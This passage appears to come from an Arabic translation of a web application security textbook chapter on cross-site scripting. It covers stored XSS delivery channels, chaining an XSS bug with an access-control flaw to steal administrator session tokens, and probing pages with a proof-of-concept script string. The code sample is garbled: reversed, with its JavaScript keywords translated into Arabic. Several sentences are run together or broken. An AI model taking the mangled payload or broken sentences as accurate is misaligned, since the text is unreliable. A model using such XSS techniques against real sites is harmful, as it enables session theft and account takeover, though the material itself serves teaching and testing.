‫ﻫﻨﺎﻙﻧﻮﻋﺎﻥ ﻣﻦ ﺁﻟﻴﺎﺕ ﺍﻟﺘﺴﻠﻴﻢ ﻟﻬﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ ﻫﻤﺎ ﺩﺍﺧﻞ ﺍﻟﻨﻄﺎﻕ ﻭﺧﺎﺭﺝ ﺍﻟﻨﻄﺎﻕ‪.‬‬

‫ﻳﻄُﺒﻖَّﺍﻟﺘﺴﻠﻴﻢ ﺩﺍﺧﻞ ﺍﻟﻨﻄﺎﻕ ﻓﻲ ﻣﻌﻈﻢ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻭﻳﺴُﺘﺨﺪﻡ ﻋﻨﺪ ﺗﺰﻭﻳﺪ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﻟﺒﻴﺎﻧﺎﺕ‬
‫ﺍﻟﻤﻌُﺮﺿَّﺔﻟﻠﺜﻐﺮﺓ ﻋﺒﺮ ﻭﺍﺟﻬﺔ ﺍﻟﻮﻳﺐ ﺍﻟﺮﺉﻴﺴﻴﺔ‪ .‬ﺗﺸﻤﻞ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﺸﺎﺉﻌﺔ ﺍﻟﺘﻲ ﻗﺪ ﺗﻌُﺮﺽَ ﻓﻴﻬﺎ‬
‫ﺍﻟﺒﻴﺎﻧﺎﺕﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ ﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﻣﺎ ﻳﻠﻲ‪:‬‬

‫ﺣﻘﻮﻝﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺸﺨﺼﻴﺔ ‪ -‬ﺍﻻﺳﻢ ﻭﺍﻟﻌﻨﻮﺍﻥ ﻭﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ ﻭﺍﻟﻬﺎﺗﻒ ﻭﻣﺎ ﺷﺎﺑﻪ ﺫﻟﻚ‬ ‫‪-‬‬

‫ﺃﺳﻤﺎءﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﻭﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﺘﻲ ﺗﻢ ﺗﺤﻤﻴﻠﻬﺎ ﻭﺍﻟﻌﻨﺎﺻﺮ ﺍﻷﺧﺮﻯ‬ ‫‪-‬‬

‫ﻣﻼﺣﻈﺎﺕﺃﻭ ﺃﺳﺉﻠﺔ ﻟﻤﺴﺆﻭﻟﻲ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪-‬‬

‫ﺍﻟﺮﺳﺎﺉﻞﻭﺗﺤﺪﻳﺜﺎﺕ ﺍﻟﺤﺎﻟﺔ ﻭﺍﻟﺘﻌﻠﻴﻘﺎﺕ ﻭﺍﻷﺳﺉﻠﺔ ﻭﻣﺎ ﺷﺎﺑﻪ ﺫﻟﻚ ﻟﻤﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ‬ ‫‪-‬‬

‫ﺍﻵﺧﺮﻳﻦ‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪450‬‬

‫ﺃﻱﺷﻲء ﻳﺘﻢ ﺗﺴﺠﻴﻠﻪ ﻓﻲ ﺳﺠﻼﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻭﻋﺮﺿﻪ ﻓﻲ ﺍﻟﻤﺘﺼﻔﺢ ﻟﻠﻤﺴﺆﻭﻟﻴﻦ‪ ،‬ﻣﺜﻞ‬ ‫‪-‬‬

‫ﻋﻨﺎﻭﻳﻦ‪ URL‬ﻭﺃﺳﻤﺎء ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻭﺑﺮﻭﺗﻮﻛﻮﻝ ‪HTTP‬ﺍﻟﻤﺤُﻴﻞ‪ ،‬ﻭﻛﻴﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻭﻣﺎ ﺷﺎﺑﻪ‬


‫ﺫﻟﻚ‬
‫ﻣﺤﺘﻮﻳﺎﺕﺍﻟﻤﻠﻔﺎﺕ ﺍﻟﻤﺤﻤﻠﺔ ﺍﻟﺘﻲ ﻳﺘﻢ ﻣﺸﺎﺭﻛﺘﻬﺎ ﺑﻴﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‬ ‫‪-‬‬

‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﺘﻢ ﺗﺴﻠﻴﻢ ﺍﻟﺤﻤﻮﻟﺔ ‪ XSS‬ﺑﺒﺴﺎﻃﺔ ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻟﻬﺎ ﺇﻟﻰ ﺍﻟﺼﻔﺤﺔ ﺫﺍﺕ‬
‫ﺍﻟﺼﻠﺔﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺛﻢ ﺍﻧﺘﻈﺎﺭ ﺍﻟﻀﺤﺎﻳﺎ ﻟﻌﺮﺽ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻀﺎﺭﺓ‪.‬‬

‫ﻳﻄُﺒﻖَّﺍﻟﺘﺴﻠﻴﻢ ﺧﺎﺭﺝ ﺍﻟﻨﻄﺎﻕ ﻓﻲ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﺗﺰُﻭﺩَّ ﻓﻴﻬﺎ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻌُﺮﺿَّﺔ ﻟﻠﺜﻐﺮﺓ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﻋﺒﺮﻗﻨﺎﺓ ﺃﺧﺮﻯ‪ .‬ﻳﺴﺘﻘﺒﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻋﺒﺮ ﻫﺬﻩ ﺍﻟﻘﻨﺎﺓ‪ ،‬ﺛﻢ ﻳﻘُﺪﻣِّﻬﺎ ﻓﻲ ﺍﻟﻨﻬﺎﻳﺔ ﺿﻤﻦ ﺻﻔﺤﺎﺕ‬
‫‪ HTML‬ﺍﻟﺘﻲ ﺗﻮُﻟﺪَّ ﺩﺍﺧﻞ ﻭﺍﺟﻬﺘﻪ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻋﻠﻰ ﺍﻟﻮﻳﺐ‪ .‬ﻭﻣﻦ ﺃﻣﺜﻠﺔ ﺁﻟﻴﺔ ﺍﻟﺘﺴﻠﻴﻢ ﻫﺬﻩ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺬﻱ‬
‫ﺳﺒﻖﻭﺻﻔﻪ ﺿﺪ ﺗﻄﺒﻴﻘﺎﺕ ﺑﺮﻳﺪ ﺍﻟﻮﻳﺐ‪ .‬ﻳﺘﻀﻤﻦ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ﺿﺎﺭﺓ ﺇﻟﻰ ﺧﺎﺩﻡ ‪SMTP‬‬
‫‪،‬ﻭﺍﻟﺘﻲ ﺗﻌُﺮﺽَ ﻓﻲ ﺍﻟﻨﻬﺎﻳﺔ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺿﻤﻦ ﺭﺳﺎﻟﺔ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺑﺘﻨﺴﻴﻖ ‪.HTML‬‬

‫ﺗﺴﻠﺴﻞﻫﺠﻤﺎﺕ ‪ XSS‬ﻭﻏﻴﺮﻫﺎ ﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ‬

‫ﻗﺪﺗﺘﺮﺍﺑﻂ ﻋﻴﻮﺏ ‪ XSS‬ﺃﺣﻴﺎﻧﺎً ﻣﻊ ﺛﻐﺮﺍﺕ ﺃﺧﺮﻯ‪ ،‬ﻣﻤﺎ ﻳﺴُﺒﺐ ﺃﺿﺮﺍﺭﺍً ﺑﺎﻟﻐﺔ‪ .‬ﻭﺍﺟﻪ ﺍﻟﺒﺎﺣﺜﻮﻥ ﺗﻄﺒﻴﻘﺎً‬
‫ﻳﺤﺘﻮﻱﻋﻠﻰ ﺛﻐﺮﺓ ‪ XSS‬ﻣﺨُﺰﻧّﺔ ﺿﻤﻦ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻛﺎﻥ ﺍﻟﻐﺮﺽ ﺍﻟﻮﺣﻴﺪ ﻣﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ‬
‫ﻫﻮﻋﺮﺽ ﺭﺳﺎﻟﺔ ﺗﺮﺣﻴﺐ ﺷﺨﺼﻴﺔ ﺑﻌﺪ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻟﻢ ﻳﻌُﺮﺽ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﻟﻤﺴﺘﺨﺪﻣﻲﺍﻟﺘﻄﺒﻴﻖ ﺍﻵﺧﺮﻳﻦ‪ ،‬ﻟﺬﺍ ﺑﺪﺍ ﻓﻲ ﺍﻟﺒﺪﺍﻳﺔ ﺃﻧﻪ ﻻ ﻳﻮﺟﺪ ﺃﻱ ﻣﻨﻔﺬ ﻫﺠﻮﻣﻲ ﻳﻤُﻜﻦّ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﻣﻦ ﺍﻟﺘﺴﺒﺐ ﻓﻲ ﻣﺸﺎﻛﻞ ﻋﻦ ﻃﺮﻳﻖ ﺗﻌﺪﻳﻞ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻓﻲ ﺣﺎﻝ ﺛﺒﺎﺕ ﺟﻤﻴﻊ‬
‫ﺍﻟﻌﻮﺍﻣﻞﺍﻷﺧﺮﻯ‪ ،‬ﺗﺼُﻨﻒّ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﻋﻠﻰ ﺃﻧﻬﺎ ﻣﻨﺨﻔﻀﺔ ﺍﻟﺨﻄﻮﺭﺓ ﺟﺪﺍً‪.‬‬

‫ﻭﻣﻊﺫﻟﻚ‪ ،‬ﻛﺎﻧﺖ ﻫﻨﺎﻙ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﺛﺎﻧﻴﺔ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻛﺎﻥ ﺧﻠﻞ ﻓﻲ ﺿﻮﺍﺑﻂ ﺍﻟﻮﺻﻮﻝ ﻳﻌﻨﻲ ﺃﻥ‬
‫ﺃﻱﻣﺴﺘﺨﺪﻡ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻪ ﺗﻌﺪﻳﻞ ﺍﺳﻢ ﺍﻟﻌﺮﺽ ﺍﻟﺨﺎﺹ ﺑﺄﻱ ﻣﺴﺘﺨﺪﻡ ﺁﺧﺮ‪ .‬ﻭﻣﺮﺓ ﺃﺧﺮﻯ‪ ،‬ﻟﻢ ﺗﻜﻦ‬
‫ﻟﻬﺬﻩﺍﻟﻤﺸﻜﻠﺔ ﺃﻫﻤﻴﺔ ﺗﺬُﻛﺮ ﻓﻲ ﺣﺪ ﺫﺍﺗﻬﺎ‪ :‬ﻟﻤﺎﺫﺍ ﻗﺪ ﻳﻬﺘﻢ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺘﻐﻴﻴﺮ ﺃﺳﻤﺎء ﺍﻟﻌﺮﺽ ﺍﻟﺨﺎﺻﺔ‬
‫ﺑﻤﺴﺘﺨﺪﻣﻴﻦﺁﺧﺮﻳﻦ؟‬
‫ﺃﺩﻯﺭﺑﻂ ﻫﺎﺗﻴﻦ ﺍﻟﺜﻐﺮﺗﻴﻦ ﺍﻷﻣﻨﻴﺘﻴﻦ ﻣﻨﺨﻔﻀﺘﻲ ﺍﻟﺨﻄﻮﺭﺓ ﻣﻌﺎً ﺇﻟﻰ ﺗﻤﻜﻴﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ ﺍﺧﺘﺮﺍﻕ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺑﺎﻟﻜﺎﻣﻞ‪ .‬ﻛﺎﻥ ﻣﻦ ﺍﻟﺴﻬﻞ ﺃﺗﻤﺘﺔ ﻫﺠﻮﻡ ﻟﺤﻘﻦ ﻧﺺ ﺑﺮﻣﺠﻲ ﻓﻲ ﺍﺳﻢ ﺍﻟﻌﺮﺽ ﺍﻟﺨﺎﺹ ﺑﻜﻞ‬
‫ﻣﺴﺘﺨﺪﻡﻟﻠﺘﻄﺒﻴﻖ‪ .‬ﻳﻨُﻔﺬ ﻫﺬﺍ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻳﺴُﺠﻞ ﻓﻴﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺩﺧﻮﻟﻪ ﺇﻟﻰ‬
‫ﺍﻟﺘﻄﺒﻴﻖ‪،‬ﻭﻳﻨﻘﻞ ﺭﻣﺰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺇﻟﻰ ﺧﺎﺩﻡ ﻳﻤﻠﻜﻪ ﺍﻟﻤﻬﺎﺟﻢ‪ .‬ﻛﺎﻥ ﺑﻌﺾ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﻣﺴﺆﻭﻟﻴﻦﺇﺩﺍﺭﻳﻴﻦ‪ ،‬ﻭﻛﺎﻧﻮﺍ ﻳﺴﺠﻠﻮﻥ ﺍﻟﺪﺧﻮﻝ ﺑﺸﻜﻞ ﻣﺘﻜﺮﺭ‪ ،‬ﻭﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻬﻢ ﺇﻧﺸﺎء ﻣﺴﺘﺨﺪﻣﻴﻦ ﺟﺪﺩ‬
‫ﻭﺗﻌﺪﻳﻞﺍﻣﺘﻴﺎﺯﺍﺕ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ‪ .‬ﻛﺎﻥ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺒﺴﺎﻃﺔ ﺍﻧﺘﻈﺎﺭ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺍﻟﻤﺴﺆﻭﻝ‪،‬‬
‫ﺛﻢﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺆﻭﻝ‪ ،‬ﺛﻢ ﺗﺮﻗﻴﺔ ﺣﺴﺎﺑﻪ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﺍﻣﺘﻴﺎﺯﺍﺕ ﺇﺩﺍﺭﻳﺔ‪ .‬ﻣﺜﻠّﺖ‬
‫ﺍﻟﺜﻐﺮﺗﺎﻥﻣﻌﺎً ﺧﻄﺮﺍً ﺟﺴﻴﻤﺎً ﻋﻠﻰ ﺃﻣﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬

‫ﻓﻲﻣﺜﺎﻝ ﺁﺧﺮ‪ ،‬ﻳﻤﻜﻦ ﺗﺤﺪﻳﺚ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻋﺮُﺿﺖ ﻓﻘﻂ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺬﻱ ﺃﺭﺳﻠﻬﺎ ﻋﺒﺮ‬
‫ﻫﺠﻮﻡﺗﺰﻭﻳﺮ ﻃﻠﺐ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ‪ .(13‬ﻛﻤﺎ ﺍﺣﺘﻮﺕ ﻋﻠﻰ ﺛﻐﺮﺓ ‪ XSS‬ﻣﺨُﺰﻧّﺔ‪ .‬ﻣﺮﺓ ﺃﺧﺮﻯ‪،‬‬
‫ﻋﻨﺪﺍﻟﻨﻈﺮ ﺇﻟﻰ ﻛﻞ ﺧﻄﺄ‪،‬‬
‫‪451‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻗﺪﻳﻨُﻈﺮ ﺇﻟﻰ ﺍﻟﻤﺨﺎﻃﺮ ﺍﻟﻤﻨﺨﻔﻀﺔ ﻧﺴﺒﻴﺎً ﻋﻠﻰ ﺃﻧﻬﺎ ﻓﺮﺩﻳﺔ؛ ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻋﻨﺪﻣﺎ ﻳﺘﻢ ﺍﺳﺘﻐﻼﻟﻬﺎ ﻣﻌﺎً‪ ،‬ﻓﻘﺪ‬
‫ﻳﻜﻮﻥﻟﻬﺎ ﺗﺄﺛﻴﺮ ﺣﺎﺳﻢ‪.‬‬

‫ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ‬

‫ﻟﺴﻨﺎﻗﻠﻘﻴﻦ ﺑﺸﺄﻥ ﺛﻐﺮﺓ ‪ XSS‬ﻣﻨﺨﻔﻀﺔ ﺍﻟﺨﻄﻮﺭﺓ‪ .‬ﻗﺪ ﻳﺴﺘﻐﻠﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻟﻤﻬﺎﺟﻤﺔ ﻧﻔﺴﻪ ﻓﻘﻂ‪.‬‬

‫ﺣﺘﻰﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺍﻟﺘﻲ ﺗﺒﺪﻭ ﻣﻨﺨﻔﻀﺔ ﺍﻟﺨﻄﻮﺭﺓ‪ ،‬ﻓﻲ ﻇﻞ ﺍﻟﻈﺮﻭﻑ ﺍﻟﻤﻨﺎﺳﺒﺔ‪ ،‬ﻗﺪ ﺗﻤُﻬﺪّ‬
‫ﺍﻟﻄﺮﻳﻖﻟﻬﺠﻮﻡ ﻣﺪُﻣﺮّ‪ .‬ﻳﺘﻄﻠﺐ ﺍﺗﺒﺎﻉ ﻧﻬﺞ ﺩﻓﺎﻋﻲ ﻣﻌُﻤﻖّ ﻓﻲ ﺍﻷﻣﻦ ﺇﺯﺍﻟﺔ ﺟﻤﻴﻊ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ‬
‫ﺍﻟﻤﻌﺮﻭﻓﺔ‪،‬ﻣﻬﻤﺎ ﺑﺪﺕ ﺗﺎﻓﻬﺔ‪ .‬ﺣﺘﻰ ﺃﻥ ﺍﻟﻤﺆﻟﻔﻴﻦ ﺍﺳﺘﺨﺪﻣﻮﺍ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻹﺿﺎﻓﺔ ﻣﺮﺑﻌﺎﺕ ﺣﻮﺍﺭ‬
‫ﻣﺘﺼﻔﺢﺍﻟﻤﻠﻔﺎﺕ ﺃﻭ ﻋﻨﺎﺻﺮ ﺗﺤﻜﻢ ‪ ActiveX‬ﺇﻟﻰ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺼﻔﺤﺔ‪ ،‬ﻣﻤﺎ ﻳﺴُﺎﻋﺪ ﻋﻠﻰ ﺍﺧﺘﺮﺍﻕ ﻧﻈﺎﻡ‬
‫ﺍﻟﻜﺸﻚﺍﻟﻤﺮﺗﺒﻂ ﺑﺘﻄﺒﻴﻖ ﻭﻳﺐ ﻣﺴُﺘﻬﺪﻑ‪ .‬ﺍﻓﺘﺮﺽ ﺩﺍﺉﻤﺎً ﺃﻥ ﺍﻟﻤﻬُﺎﺟﻢ ﺳﻴﻜﻮﻥ ﺃﻛﺜﺮ ﺇﺑﺪﺍﻋﺎً ﻣﻨﻚ ﻓﻲ‬
‫ﺍﺑﺘﻜﺎﺭﻃﺮﻕ ﻻﺳﺘﻐﻼﻝ ﺍﻷﺧﻄﺎء ﺍﻟﺒﺴﻴﻄﺔ!‬

‫ﺍﻟﻌﺜﻮﺭﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻭﺍﺳﺘﻐﻼﻟﻬﺎ‬

‫ﺍﻟﻨﻬﺞﺍﻷﺳﺎﺳﻲ ﻟﺘﺤﺪﻳﺪ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻫﻮ ﺍﺳﺘﺨﺪﺍﻡ ﺳﻠﺴﻠﺔ ﻫﺠﻮﻡ ﺇﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ ﺍﻟﻘﻴﺎﺳﻴﺔ ﻣﺜﻞ ﻣﺎ‬
‫ﻳﻠﻲ‪:‬‬

‫<‪>/script‬ﺗﻨﺒﻴﻪ)ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺑﺎﻟﻤﺴﺘﻨﺪ(<‪"<>script‬‬

‫ﻳﺮُﺳﻞَﻫﺬﺍ ﺍﻟﻨﺺ ﻛﻤﻌﺎﻣﻞ ﻟﻜﻞ ﺻﻔﺤﺔ ﻣﻦ ﺻﻔﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻭﺗﺮُﺍﻗﺐَ ﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﻟﺮﺻﺪ‬
‫ﻇﻬﻮﺭﻩ‪.‬ﺇﺫﺍ ﻭﺟُﺪِﺕ ﺣﺎﻻﺕ ﺗﻈﻬﺮ ﻓﻴﻬﺎ ﺳﻠﺴﻠﺔ ﺍﻟﻬﺠﻮﻡ ﺩﻭﻥ ﺗﻌﺪﻳﻞ ﺿﻤﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﻓﻤﻦ ﺷﺒﻪ‬
‫ﺍﻟﻤﺆﻛﺪﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ ﻟﺨﻄﺮ ‪.XSS‬‬

‫ﺇﺫﺍﻛﺎﻥ ﻫﺪﻓﻚ ﻫﻮ ﻣﺠﺮﺩ ﺍﻟﺘﻌﺮﻑﺑﻌﺾﺇﺫﺍ ﻛﻨﺖ ﺗﺮﻏﺐ ﻓﻲ ﺍﺳﺘﺨﺪﺍﻡ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﺑﺄﺳﺮﻉﻭﻗﺖ ﻣﻤﻜﻦ ﻟﺸﻦ ﻫﺠﻮﻡ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻵﺧﺮﻳﻦ‪ ،‬ﻓﺈﻥ ﻫﺬﺍ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﻫﻮ‬
‫ﻋﻠﻰﺍﻷﺭﺟﺢ ﺍﻷﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ‪ ،‬ﻟﺴﻬﻮﻟﺔ ﺃﺗﻤﺘﺘﻪ ﻭﺗﻘﻠﻴﻞ ﺍﻟﻨﺘﺎﺉﺞ ﺍﻹﻳﺠﺎﺑﻴﺔ ﺍﻟﺨﺎﻃﺉﺔ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﺇﺫﺍ ﻛﺎﻥ‬
‫ﻫﺪﻓﻚﻫﻮ ﺇﺟﺮﺍء ﺍﺧﺘﺒﺎﺭ ﺷﺎﻣﻞ ﻟﻠﺘﻄﺒﻴﻖ ﻟﺘﺤﺪﻳﺪ ﺃﻛﺒﺮ ﻋﺪﺩ ﻣﻤﻜﻦ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺍﻟﻔﺮﺩﻳﺔ‪،‬‬
‫ﻓﻴﺠﺐﺍﺳﺘﻜﻤﺎﻝ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﺑﺘﻘﻨﻴﺎﺕ ﺃﻛﺜﺮ ﺗﻄﻮﺭﺍً‪ .‬ﻫﻨﺎﻙ ﻋﺪﺓ ﻃﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻗﺪ ﺗﻈﻬﺮ ﺑﻬﺎ‬
‫ﺛﻐﺮﺍﺕ‪ XSS‬ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻭﺍﻟﺘﻲ ﻟﻦ ﻳﺘﻢ ﺗﺤﺪﻳﺪﻫﺎ ﻣﻦ ﺧﻼﻝ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﻟﻠﻜﺸﻒ‪:‬‬

‫ﺗﺴﺘﺨﺪﻡﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻣﺮﺷﺤﺎﺕ ﺑﺪﺍﺉﻴﺔ ﻗﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﻘﺎﺉﻤﺔ ﺍﻟﺴﻮﺩﺍء ﻓﻲ‬ ‫‪-‬‬

‫ﻣﺤﺎﻭﻟﺔﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ ‪ .XSS‬ﺗﺒﺤﺚ ﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﻋﺎﺩﺓ ًﻋﻦ ﺗﻌﺒﻴﺮﺍﺕ ﻣﺜﻞ >ﻧﺺ<ﺿﻤﻦ‬
‫ﻣﻌﻠﻤﺎﺕﺍﻟﻄﻠﺐ‪ ،‬ﻭﺍﺗﺨﺎﺫ ﺇﺟﺮﺍءﺍﺕ ﺩﻓﺎﻋﻴﺔ ﻣﺜﻞ ﺇﺯﺍﻟﺔ ﺍﻟﺘﻌﺒﻴﺮ ﺃﻭ ﺗﺮﻣﻴﺰﻩ ﺃﻭ ﺣﻈﺮ ﺍﻟﻄﻠﺐ‪ .‬ﻏﺎﻟﺒﺎً‬
‫ﻣﺎﺗﺤﻈﺮ ﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺳﻼﺳﻞ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ ﻋﺎﺩﺓ ًﻓﻲ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﻟﻠﻜﺸﻒ‪.‬‬
‫ﻭﻣﻊﺫﻟﻚ‪ ،‬ﻟﻤﺠﺮﺩ ﺃﻥ ﻫﺠﻮﻣﺎً ﻭﺍﺣﺪﺍً ﺷﺎﺉﻌﺎً‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪452‬‬

‫ﺇﺫﺍﺗﻢ ﺗﺼﻔﻴﺔ ﺍﻟﺴﻠﺴﻠﺔ‪ ،‬ﻓﻬﺬﺍ ﻻ ﻳﻌﻨﻲ ﻋﺪﻡ ﻭﺟﻮﺩ ﺛﻐﺮﺓ ﻗﺎﺑﻠﺔ ﻟﻼﺳﺘﻐﻼﻝ‪ .‬ﻛﻤﺎ ﺳﺘﺮﻯ‪ ،‬ﻫﻨﺎﻙ‬
‫ﺣﺎﻻﺕﻳﻤﻜﻦ ﻓﻴﻬﺎ ﺇﻧﺸﺎء ﺍﺳﺘﻐﻼﻝ ‪ XSS‬ﻓﻌﺎﻝ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻡ >ﻧﺺ<ﺍﻟﻌﻼﻣﺎﺕ ﻭﺣﺘﻰ ﺑﺪﻭﻥ‬
‫ﺍﺳﺘﺨﺪﺍﻡﺍﻷﺣﺮﻑ ﺍﻟﻤﻔﻠﺘﺮﺓ ﺑﺸﻜﻞ ﺷﺎﺉﻊ ﻣﺜﻞ "> < ﻭ‪."/‬‬

‫ﻣﺮﺷﺤﺎﺕﻣﻜﺎﻓﺤﺔ ‪ XSS‬ﺍﻟﻤﺴُﺘﺨﺪﻣﺔ ﻓﻲ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻣﻌﻴﺒﺔ‪ ،‬ﻭﻳﻤﻜﻦ ﺍﻟﺘﺤﺎﻳﻞ‬ ‫‪-‬‬

